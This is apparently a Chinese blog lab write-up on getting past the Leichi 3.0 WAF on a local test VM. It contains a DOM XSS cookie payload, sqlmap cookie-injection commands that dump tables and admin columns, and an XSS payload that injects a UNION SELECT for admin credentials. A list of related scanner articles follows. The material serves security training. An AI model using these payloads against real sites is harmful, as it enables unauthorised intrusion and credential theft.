雷池3.0 漏洞扫描

实验环境：

靶机：win8 192.168.19.131

攻击机：win10 192.168.19.1

漏洞复现

方式一 sqlmap 绕过waf

首先下win8服务器上搭建雷池3.0的服务

win8使用net模式 win10重启一下vm8网卡

通过浏览器就可以访问雷池的网站

随便点一个一个服务可以看到**?id=46** 所以习惯进行sql注入

?id=1
?id=1'

可以看出用‘进行注入被waf拦截

被后台记录所以换个方式

打开awvs对该网站进行扫描发现高危很多但是有部分是误报所以…

但是仔细分析一下找到 javascript:domxssExecutionSink

百度一下javascript:domxssExecutionSink 找到一篇相似的文章根据分析构造语句

#javascript:alert(document.cookie);

反显出cookie 所以换个思路 cookie注入

打开sqlmap 进行注入

python sqlmap.py -u http://192.168.19.131:81/onews.asp --cookie "id=46" -tables  --level 2   爆表

python sqlmap.py -u http://192.168.19.131/onews.asp --cookie "id=46" -T admin -columns  --level 2 爆列名

爆用户和密码

方式二 xss

根据上边思路可以进行xss 显示cookie 所以构造语句

#javascript:alert(document.cookie="id="+escape("45 union select 1,2,3,4,5,6,7,admin,password,10,11 from admin"));

雷池3.0 漏洞扫描相关推荐

Nessus8.4.0漏洞扫描工具安装及使用
Nessus 8.4.0安装及使用 1.1先去Nessus官网https://www.tenable.com下载最新的安装包. 1.2点击downloads下载,进入nessus页面. 1.3根据自身 ...
[原创]K8_C段旁注工具6.0 新增SMB漏洞扫描
工具: K8_C段旁注工具6.0_0510[K.8] 编译: 自己查壳组织: K8搞基大队[K8team] 作者: K8拉登哥哥博客: http://qqhack8.blog.163.com 发布 ...
面包牛奶的挖洞记录（一）漏洞扫描方面的法律须知和等级保护2.0简介
面包牛奶的挖洞记录(一)漏洞扫描方面的法律须知和等级保护2.0简介你好哇!我是你们的面包牛奶啊,在大二学习完信息安全基础后,我就忍不住想证明自己的实战能力,于是我开始了我痛苦并着快乐的漏洞前期准备工 ...
漏洞扫描处理：凝思6.0.80操作系统安装数据库Mysql 8.0.27（二进制安装包安装）
因网络安全测试,漏洞扫描检测出原先的Mysql5.7.XX数据库存在漏洞等等问题,需要升级Mysql最新版本的数据库,现记录如下升级步骤: 1.首先登录Mysql官网MySQL,选择DOWNLOADS ...
EXP6 信息搜集与漏洞扫描
1.实验有关问题 (1)哪些组织负责DNS,IP的管理. ICANN是一个集合了全球网络界商业.技术及学术各领域专家的非营利性国际组织,负责在全球范围内对互联网唯一标识符系统及其安全稳定的运营进行协调 ...
Web漏洞扫描（三：Burp Suite的基本操作）
任务二.Burp Suite基础Proxy功能: 2.1.在Kali虚拟机中打开Burp Suite工具并设置,打开"Proxy"选项卡,选中"Options" ...
漏洞扫描工具_Vulmap漏洞扫描工具
本文来源于https://github.com/zhzyker/vulmap 已与作者联系作者同意发送本文章 Vulmap目前支持以下漏洞 +-------------------+-------- ...
2018-2019-2 20165315《网络攻防技术》Exp6 信息搜集与漏洞扫描
2018-2019-2 20165315<网络攻防技术>Exp6 信息搜集与漏洞扫描目录一.实验内容二.实验步骤 1.各种搜索技巧的应用 2.DNS IP注册信息的查询 3.基本的扫 ...
20145220韩旭飞《网络对抗》Exp6 信息搜集与漏洞扫描
20145220韩旭飞<网络对抗>Exp6 信息搜集与漏洞扫描信息搜集 whois查询以百度的网址为例,使用whois查询域名注册信息: 从上图中可以得到3R注册信息,包括注册人的名字 ...

雷池3.0 漏洞扫描

雷池3.0 漏洞扫描

实验环境：

漏洞复现

方式一 sqlmap 绕过waf

方式二 xss

雷池3.0 漏洞扫描相关推荐

最新文章

热门文章